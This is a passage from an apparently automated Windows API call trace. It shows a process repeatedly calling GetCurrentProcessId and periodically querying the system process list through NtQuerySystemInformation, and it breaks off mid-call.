[0289.764] GetCurrentProcessId () returned 0xbf4 [0289.764] GetCurrentProcessId () returned 0xbf4 [0289.764] GetCurrentProcessId () returned 0xbf4 [0289.764] GetCurrentProcessId () returned 0xbf4 [0289.764] GetCurrentProcessId () returned 0xbf4 [0289.764] GetCurrentProcessId () returned 0xbf4 [0289.764] GetCurrentProcessId () returned 0xbf4 [0289.764] GetCurrentProcessId () returned 0xbf4 [0289.764] GetCurrentProcessId () returned 0xbf4 [0289.765] GetCurrentProcessId () returned 0xbf4 [0289.765] GetCurrentProcessId () returned 0xbf4 [0289.765] GetCurrentProcessId () returned 0xbf4 [0289.765] GetCurrentProcessId () returned 0xbf4 [0289.765] GetCurrentProcessId () returned 0xbf4 [0289.765] GetCurrentProcessId () returned 0xbf4 [0289.765] GetCurrentProcessId () returned 0xbf4 [0289.765] GetCurrentProcessId () returned 0xbf4 [0289.765] GetCurrentProcessId () returned 0xbf4 [0289.765] GetCurrentProcessId () returned 0xbf4 [0289.765] GetCurrentProcessId () returned 0xbf4 [0289.765] GetCurrentProcessId () returned 0xbf4 [0289.765] GetCurrentProcessId () returned 0xbf4 [0290.369] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c890) returned 0x0 [0290.376] GetCurrentProcessId () returned 0xbf4 [0290.376] GetCurrentProcessId () returned 0xbf4 [0290.376] GetCurrentProcessId () returned 0xbf4 [0290.376] GetCurrentProcessId () returned 0xbf4 [0290.376] GetCurrentProcessId () returned 0xbf4 [0290.376] GetCurrentProcessId () returned 0xbf4 [0290.376] GetCurrentProcessId () returned 0xbf4 [0290.376] GetCurrentProcessId () returned 0xbf4 [0290.376] GetCurrentProcessId () returned 0xbf4 [0290.376] GetCurrentProcessId () returned 0xbf4 [0290.376] GetCurrentProcessId () returned 0xbf4 [0290.376] GetCurrentProcessId () returned 0xbf4 [0290.376] GetCurrentProcessId () returned 0xbf4 [0290.376] GetCurrentProcessId () returned 0xbf4 [0290.376] GetCurrentProcessId () returned 0xbf4 [0290.376] GetCurrentProcessId () returned 0xbf4 [0290.377] GetCurrentProcessId () returned 0xbf4 [0290.377] GetCurrentProcessId () returned 0xbf4 [0290.377] GetCurrentProcessId () returned 0xbf4 [0290.377] GetCurrentProcessId () returned 0xbf4 [0290.377] GetCurrentProcessId () returned 0xbf4 [0290.377] GetCurrentProcessId () returned 0xbf4 [0290.377] GetCurrentProcessId () returned 0xbf4 [0290.377] GetCurrentProcessId () returned 0xbf4 [0290.377] GetCurrentProcessId () returned 0xbf4 [0290.377] GetCurrentProcessId () returned 0xbf4 [0290.377] GetCurrentProcessId () returned 0xbf4 [0290.377] GetCurrentProcessId () returned 0xbf4 [0290.377] GetCurrentProcessId () returned 0xbf4 [0290.377] GetCurrentProcessId () returned 0xbf4 [0290.377] GetCurrentProcessId () returned 0xbf4 [0290.377] GetCurrentProcessId () returned 0xbf4 [0290.377] GetCurrentProcessId () returned 0xbf4 [0290.377] GetCurrentProcessId () returned 0xbf4 [0290.377] GetCurrentProcessId () returned 0xbf4 [0290.377] GetCurrentProcessId () returned 0xbf4 [0290.377] GetCurrentProcessId () returned 0xbf4 [0290.377] GetCurrentProcessId () returned 0xbf4 [0290.377] GetCurrentProcessId () returned 0xbf4 [0290.377] GetCurrentProcessId () returned 0xbf4 [0290.377] GetCurrentProcessId () returned 0xbf4 [0290.377] GetCurrentProcessId () returned 0xbf4 [0290.377] GetCurrentProcessId () returned 0xbf4 [0290.377] GetCurrentProcessId () returned 0xbf4 [0290.377] GetCurrentProcessId () returned 0xbf4 [0290.378] GetCurrentProcessId () returned 0xbf4 [0290.378] GetCurrentProcessId () returned 0xbf4 [0290.378] GetCurrentProcessId () returned 0xbf4 [0290.378] GetCurrentProcessId () returned 0xbf4 [0290.378] GetCurrentProcessId () returned 0xbf4 [0290.378] GetCurrentProcessId () returned 0xbf4 [0290.378] GetCurrentProcessId () returned 0xbf4 [0290.378] GetCurrentProcessId () returned 0xbf4 [0290.378] GetCurrentProcessId () returned 0xbf4 [0290.378] GetCurrentProcessId () returned 0xbf4 [0290.378] GetCurrentProcessId () returned 0xbf4 [0290.378] GetCurrentProcessId () returned 0xbf4 [0290.378] GetCurrentProcessId () returned 0xbf4 [0290.378] GetCurrentProcessId () returned 0xbf4 [0290.378] GetCurrentProcessId () returned 0xbf4 [0290.378] GetCurrentProcessId () returned 0xbf4 [0290.378] GetCurrentProcessId () returned 0xbf4 [0290.378] GetCurrentProcessId () returned 0xbf4 [0290.378] GetCurrentProcessId () returned 0xbf4 [0290.378] GetCurrentProcessId () returned 0xbf4 [0290.378] GetCurrentProcessId () returned 0xbf4 [0290.378] GetCurrentProcessId () returned 0xbf4 [0290.378] GetCurrentProcessId () returned 0xbf4 [0290.378] GetCurrentProcessId () returned 0xbf4 [0290.378] GetCurrentProcessId () returned 0xbf4 [0290.378] GetCurrentProcessId () returned 0xbf4 [0290.378] GetCurrentProcessId () returned 0xbf4 [0290.378] GetCurrentProcessId () returned 0xbf4 [0290.378] GetCurrentProcessId () returned 0xbf4 [0290.379] GetCurrentProcessId () returned 0xbf4 [0290.379] GetCurrentProcessId () returned 0xbf4 [0290.379] GetCurrentProcessId () returned 0xbf4 [0290.379] GetCurrentProcessId () returned 0xbf4 [0290.379] GetCurrentProcessId () returned 0xbf4 [0290.379] GetCurrentProcessId () returned 0xbf4 [0290.379] GetCurrentProcessId () returned 0xbf4 [0290.379] GetCurrentProcessId () returned 0xbf4 [0290.379] GetCurrentProcessId () returned 0xbf4 [0290.379] GetCurrentProcessId () returned 0xbf4 [0290.379] GetCurrentProcessId () returned 0xbf4 [0290.379] GetCurrentProcessId () returned 0xbf4 [0290.379] GetCurrentProcessId () returned 0xbf4 [0290.379] GetCurrentProcessId () returned 0xbf4 [0290.379] GetCurrentProcessId () returned 0xbf4 [0290.379] GetCurrentProcessId () returned 0xbf4 [0290.379] GetCurrentProcessId () returned 0xbf4 [0290.379] GetCurrentProcessId () returned 0xbf4 [0290.379] GetCurrentProcessId () returned 0xbf4 [0290.379] GetCurrentProcessId () returned 0xbf4 [0290.379] GetCurrentProcessId () returned 0xbf4 [0290.379] GetCurrentProcessId () returned 0xbf4 [0290.379] GetCurrentProcessId () returned 0xbf4 [0290.379] GetCurrentProcessId () returned 0xbf4 [0290.379] GetCurrentProcessId () returned 0xbf4 [0290.379] GetCurrentProcessId () returned 0xbf4 [0290.379] GetCurrentProcessId () returned 0xbf4 [0290.379] GetCurrentProcessId () returned 0xbf4 [0290.379] GetCurrentProcessId () returned 0xbf4 [0290.380] GetCurrentProcessId () returned 0xbf4 [0290.380] GetCurrentProcessId () returned 0xbf4 [0290.380] GetCurrentProcessId () returned 0xbf4 [0290.943] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c8e0) returned 0x0 [0290.946] GetCurrentProcessId () returned 0xbf4 [0290.946] GetCurrentProcessId () returned 0xbf4 [0290.946] GetCurrentProcessId () returned 0xbf4 [0290.946] GetCurrentProcessId () returned 0xbf4 [0290.946] GetCurrentProcessId () returned 0xbf4 [0290.946] GetCurrentProcessId () returned 0xbf4 [0290.946] GetCurrentProcessId () returned 0xbf4 [0290.946] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.947] GetCurrentProcessId () returned 0xbf4 [0290.948] GetCurrentProcessId () returned 0xbf4 [0290.948] GetCurrentProcessId () returned 0xbf4 [0290.948] GetCurrentProcessId () returned 0xbf4 [0290.948] GetCurrentProcessId () returned 0xbf4 [0290.948] GetCurrentProcessId () returned 0xbf4 [0290.948] GetCurrentProcessId () returned 0xbf4 [0290.948] GetCurrentProcessId () returned 0xbf4 [0290.948] GetCurrentProcessId () returned 0xbf4 [0290.948] GetCurrentProcessId () returned 0xbf4 [0290.948] GetCurrentProcessId () returned 0xbf4 [0290.948] GetCurrentProcessId () returned 0xbf4 [0290.948] GetCurrentProcessId () returned 0xbf4 [0290.948] GetCurrentProcessId () returned 0xbf4 [0290.948] GetCurrentProcessId () returned 0xbf4 [0290.948] GetCurrentProcessId () returned 0xbf4 [0290.948] GetCurrentProcessId () returned 0xbf4 [0290.948] GetCurrentProcessId () returned 0xbf4 [0290.948] GetCurrentProcessId () returned 0xbf4 [0290.948] GetCurrentProcessId () returned 0xbf4 [0290.948] GetCurrentProcessId () returned 0xbf4 [0290.948] GetCurrentProcessId () returned 0xbf4 [0290.948] GetCurrentProcessId () returned 0xbf4 [0290.948] GetCurrentProcessId () returned 0xbf4 [0290.948] GetCurrentProcessId () returned 0xbf4 [0290.948] GetCurrentProcessId () returned 0xbf4 [0290.948] GetCurrentProcessId () returned 0xbf4 [0290.948] GetCurrentProcessId () returned 0xbf4 [0290.948] GetCurrentProcessId () returned 0xbf4 [0290.948] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.949] GetCurrentProcessId () returned 0xbf4 [0290.950] GetCurrentProcessId () returned 0xbf4 [0290.950] GetCurrentProcessId () returned 0xbf4 [0290.950] GetCurrentProcessId () returned 0xbf4 [0290.950] GetCurrentProcessId () returned 0xbf4 [0290.950] GetCurrentProcessId () returned 0xbf4 [0290.950] GetCurrentProcessId () returned 0xbf4 [0290.950] GetCurrentProcessId () returned 0xbf4 [0290.950] GetCurrentProcessId () returned 0xbf4 [0291.523] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c8e0) returned 0x0 [0291.526] GetCurrentProcessId () returned 0xbf4 [0291.526] GetCurrentProcessId () returned 0xbf4 [0291.526] GetCurrentProcessId () returned 0xbf4 [0291.526] GetCurrentProcessId () returned 0xbf4 [0291.526] GetCurrentProcessId () returned 0xbf4 [0291.526] GetCurrentProcessId () returned 0xbf4 [0291.526] GetCurrentProcessId () returned 0xbf4 [0291.526] GetCurrentProcessId () returned 0xbf4 [0291.526] GetCurrentProcessId () returned 0xbf4 [0291.526] GetCurrentProcessId () returned 0xbf4 [0291.526] GetCurrentProcessId () returned 0xbf4 [0291.526] GetCurrentProcessId () returned 0xbf4 [0291.526] GetCurrentProcessId () returned 0xbf4 [0291.526] GetCurrentProcessId () returned 0xbf4 [0291.526] GetCurrentProcessId () returned 0xbf4 [0291.526] GetCurrentProcessId () returned 0xbf4 [0291.526] GetCurrentProcessId () returned 0xbf4 [0291.526] GetCurrentProcessId () returned 0xbf4 [0291.526] GetCurrentProcessId () returned 0xbf4 [0291.526] GetCurrentProcessId () returned 0xbf4 [0291.526] GetCurrentProcessId () returned 0xbf4 [0291.527] GetCurrentProcessId () returned 0xbf4 [0291.527] GetCurrentProcessId () returned 0xbf4 [0291.527] GetCurrentProcessId () returned 0xbf4 [0291.527] GetCurrentProcessId () returned 0xbf4 [0291.527] GetCurrentProcessId () returned 0xbf4 [0291.527] GetCurrentProcessId () returned 0xbf4 [0291.527] GetCurrentProcessId () returned 0xbf4 [0291.527] GetCurrentProcessId () returned 0xbf4 [0291.527] GetCurrentProcessId () returned 0xbf4 [0291.527] GetCurrentProcessId () returned 0xbf4 [0291.527] GetCurrentProcessId () returned 0xbf4 [0291.527] GetCurrentProcessId () returned 0xbf4 [0291.527] GetCurrentProcessId () returned 0xbf4 [0291.527] GetCurrentProcessId () returned 0xbf4 [0291.527] GetCurrentProcessId () returned 0xbf4 [0291.527] GetCurrentProcessId () returned 0xbf4 [0291.527] GetCurrentProcessId () returned 0xbf4 [0291.527] GetCurrentProcessId () returned 0xbf4 [0291.527] GetCurrentProcessId () returned 0xbf4 [0291.527] GetCurrentProcessId () returned 0xbf4 [0291.527] GetCurrentProcessId () returned 0xbf4 [0291.527] GetCurrentProcessId () returned 0xbf4 [0291.527] GetCurrentProcessId () returned 0xbf4 [0291.527] GetCurrentProcessId () returned 0xbf4 [0291.527] GetCurrentProcessId () returned 0xbf4 [0291.527] GetCurrentProcessId () returned 0xbf4 [0291.527] GetCurrentProcessId () returned 0xbf4 [0291.527] GetCurrentProcessId () returned 0xbf4 [0291.528] GetCurrentProcessId () returned 0xbf4 [0291.528] GetCurrentProcessId () returned 0xbf4 [0291.528] GetCurrentProcessId () returned 0xbf4 [0291.528] GetCurrentProcessId () returned 0xbf4 [0291.528] GetCurrentProcessId () returned 0xbf4 [0291.528] GetCurrentProcessId () returned 0xbf4 [0291.528] GetCurrentProcessId () returned 0xbf4 [0291.528] GetCurrentProcessId () returned 0xbf4 [0291.528] GetCurrentProcessId () returned 0xbf4 [0291.528] GetCurrentProcessId () returned 0xbf4 [0291.528] GetCurrentProcessId () returned 0xbf4 [0291.528] GetCurrentProcessId () returned 0xbf4 [0291.528] GetCurrentProcessId () returned 0xbf4 [0291.528] GetCurrentProcessId () returned 0xbf4 [0291.528] GetCurrentProcessId () returned 0xbf4 [0291.528] GetCurrentProcessId () returned 0xbf4 [0291.528] GetCurrentProcessId () returned 0xbf4 [0291.528] GetCurrentProcessId () returned 0xbf4 [0291.528] GetCurrentProcessId () returned 0xbf4 [0291.528] GetCurrentProcessId () returned 0xbf4 [0291.528] GetCurrentProcessId () returned 0xbf4 [0291.528] GetCurrentProcessId () returned 0xbf4 [0291.528] GetCurrentProcessId () returned 0xbf4 [0291.528] GetCurrentProcessId () returned 0xbf4 [0291.528] GetCurrentProcessId () returned 0xbf4 [0291.528] GetCurrentProcessId () returned 0xbf4 [0291.528] GetCurrentProcessId () returned 0xbf4 [0291.528] GetCurrentProcessId () returned 0xbf4 [0291.528] GetCurrentProcessId () returned 0xbf4 [0291.529] GetCurrentProcessId () returned 0xbf4 [0291.529] GetCurrentProcessId () returned 0xbf4 [0291.529] GetCurrentProcessId () returned 0xbf4 [0291.529] GetCurrentProcessId () returned 0xbf4 [0291.529] GetCurrentProcessId () returned 0xbf4 [0291.529] GetCurrentProcessId () returned 0xbf4 [0291.529] GetCurrentProcessId () returned 0xbf4 [0291.529] GetCurrentProcessId () returned 0xbf4 [0291.529] GetCurrentProcessId () returned 0xbf4 [0291.529] GetCurrentProcessId () returned 0xbf4 [0291.529] GetCurrentProcessId () returned 0xbf4 [0291.529] GetCurrentProcessId () returned 0xbf4 [0291.529] GetCurrentProcessId () returned 0xbf4 [0291.529] GetCurrentProcessId () returned 0xbf4 [0291.529] GetCurrentProcessId () returned 0xbf4 [0291.529] GetCurrentProcessId () returned 0xbf4 [0291.529] GetCurrentProcessId () returned 0xbf4 [0291.529] GetCurrentProcessId () returned 0xbf4 [0291.529] GetCurrentProcessId () returned 0xbf4 [0291.529] GetCurrentProcessId () returned 0xbf4 [0291.529] GetCurrentProcessId () returned 0xbf4 [0291.529] GetCurrentProcessId () returned 0xbf4 [0291.529] GetCurrentProcessId () returned 0xbf4 [0291.529] GetCurrentProcessId () returned 0xbf4 [0291.529] GetCurrentProcessId () returned 0xbf4 [0291.529] GetCurrentProcessId () returned 0xbf4 [0291.529] GetCurrentProcessId () returned 0xbf4 [0291.529] GetCurrentProcessId () returned 0xbf4 [0292.085] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c8e0) returned 0x0 [0292.092] GetCurrentProcessId () returned 0xbf4 [0292.092] GetCurrentProcessId () returned 0xbf4 [0292.092] GetCurrentProcessId () returned 0xbf4 [0292.092] GetCurrentProcessId () returned 0xbf4 [0292.092] GetCurrentProcessId () returned 0xbf4 [0292.092] GetCurrentProcessId () returned 0xbf4 [0292.092] GetCurrentProcessId () returned 0xbf4 [0292.092] GetCurrentProcessId () returned 0xbf4 [0292.092] GetCurrentProcessId () returned 0xbf4 [0292.092] GetCurrentProcessId () returned 0xbf4 [0292.092] GetCurrentProcessId () returned 0xbf4 [0292.092] GetCurrentProcessId () returned 0xbf4 [0292.092] GetCurrentProcessId () returned 0xbf4 [0292.092] GetCurrentProcessId () returned 0xbf4 [0292.092] GetCurrentProcessId () returned 0xbf4 [0292.092] GetCurrentProcessId () returned 0xbf4 [0292.092] GetCurrentProcessId () returned 0xbf4 [0292.092] GetCurrentProcessId () returned 0xbf4 [0292.092] GetCurrentProcessId () returned 0xbf4 [0292.092] GetCurrentProcessId () returned 0xbf4 [0292.092] GetCurrentProcessId () returned 0xbf4 [0292.092] GetCurrentProcessId () returned 0xbf4 [0292.092] GetCurrentProcessId () returned 0xbf4 [0292.092] GetCurrentProcessId () returned 0xbf4 [0292.092] GetCurrentProcessId () returned 0xbf4 [0292.092] GetCurrentProcessId () returned 0xbf4 [0292.092] GetCurrentProcessId () returned 0xbf4 [0292.092] GetCurrentProcessId () returned 0xbf4 [0292.092] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.093] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.094] GetCurrentProcessId () returned 0xbf4 [0292.095] GetCurrentProcessId () returned 0xbf4 [0292.095] GetCurrentProcessId () returned 0xbf4 [0292.095] GetCurrentProcessId () returned 0xbf4 [0292.095] GetCurrentProcessId () returned 0xbf4 [0292.095] GetCurrentProcessId () returned 0xbf4 [0292.626] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c8e0) returned 0x0 [0292.633] GetCurrentProcessId () returned 0xbf4 [0292.633] GetCurrentProcessId () returned 0xbf4 [0292.633] GetCurrentProcessId () returned 0xbf4 [0292.633] GetCurrentProcessId () returned 0xbf4 [0292.633] GetCurrentProcessId () returned 0xbf4 [0292.633] GetCurrentProcessId () returned 0xbf4 [0292.633] GetCurrentProcessId () returned 0xbf4 [0292.633] GetCurrentProcessId () returned 0xbf4 [0292.633] GetCurrentProcessId () returned 0xbf4 [0292.633] GetCurrentProcessId () returned 0xbf4 [0292.633] GetCurrentProcessId () returned 0xbf4 [0292.633] GetCurrentProcessId () returned 0xbf4 [0292.633] GetCurrentProcessId () returned 0xbf4 [0292.633] GetCurrentProcessId () returned 0xbf4 [0292.633] GetCurrentProcessId () returned 0xbf4 [0292.633] GetCurrentProcessId () returned 0xbf4 [0292.633] GetCurrentProcessId () returned 0xbf4 [0292.634] GetCurrentProcessId () returned 0xbf4 [0292.634] GetCurrentProcessId () returned 0xbf4 [0292.634] GetCurrentProcessId () returned 0xbf4 [0292.634] GetCurrentProcessId () returned 0xbf4 [0292.634] GetCurrentProcessId () returned 0xbf4 [0292.634] GetCurrentProcessId () returned 0xbf4 [0292.634] GetCurrentProcessId () returned 0xbf4 [0292.634] GetCurrentProcessId () returned 0xbf4 [0292.634] GetCurrentProcessId () returned 0xbf4 [0292.634] GetCurrentProcessId () returned 0xbf4 [0292.634] GetCurrentProcessId () returned 0xbf4 [0292.634] GetCurrentProcessId () returned 0xbf4 [0292.634] GetCurrentProcessId () returned 0xbf4 [0292.634] GetCurrentProcessId () returned 0xbf4 [0292.634] GetCurrentProcessId () returned 0xbf4 [0292.634] GetCurrentProcessId () returned 0xbf4 [0292.634] GetCurrentProcessId () returned 0xbf4 [0292.634] GetCurrentProcessId () returned 0xbf4 [0292.634] GetCurrentProcessId () returned 0xbf4 [0292.634] GetCurrentProcessId () returned 0xbf4 [0292.634] GetCurrentProcessId () returned 0xbf4 [0292.635] GetCurrentProcessId () returned 0xbf4 [0292.635] GetCurrentProcessId () returned 0xbf4 [0292.635] GetCurrentProcessId () returned 0xbf4 [0292.639] GetCurrentProcessId () returned 0xbf4 [0292.639] GetCurrentProcessId () returned 0xbf4 [0292.639] GetCurrentProcessId () returned 0xbf4 [0292.639] GetCurrentProcessId () returned 0xbf4 [0292.639] GetCurrentProcessId () returned 0xbf4 [0292.639] GetCurrentProcessId () returned 0xbf4 [0292.639] GetCurrentProcessId () returned 0xbf4 [0292.639] GetCurrentProcessId () returned 0xbf4 [0292.639] GetCurrentProcessId () returned 0xbf4 [0292.639] GetCurrentProcessId () returned 0xbf4 [0292.639] GetCurrentProcessId () returned 0xbf4 [0292.639] GetCurrentProcessId () returned 0xbf4 [0292.639] GetCurrentProcessId () returned 0xbf4 [0292.639] GetCurrentProcessId () returned 0xbf4 [0292.639] GetCurrentProcessId () returned 0xbf4 [0292.639] GetCurrentProcessId () returned 0xbf4 [0292.639] GetCurrentProcessId () returned 0xbf4 [0292.639] GetCurrentProcessId () returned 0xbf4 [0292.639] GetCurrentProcessId () returned 0xbf4 [0292.639] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.640] GetCurrentProcessId () returned 0xbf4 [0292.641] GetCurrentProcessId () returned 0xbf4 [0292.641] GetCurrentProcessId () returned 0xbf4 [0292.641] GetCurrentProcessId () returned 0xbf4 [0292.641] GetCurrentProcessId () returned 0xbf4 [0292.641] GetCurrentProcessId () returned 0xbf4 [0292.641] GetCurrentProcessId () returned 0xbf4 [0292.641] GetCurrentProcessId () returned 0xbf4 [0293.187] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, 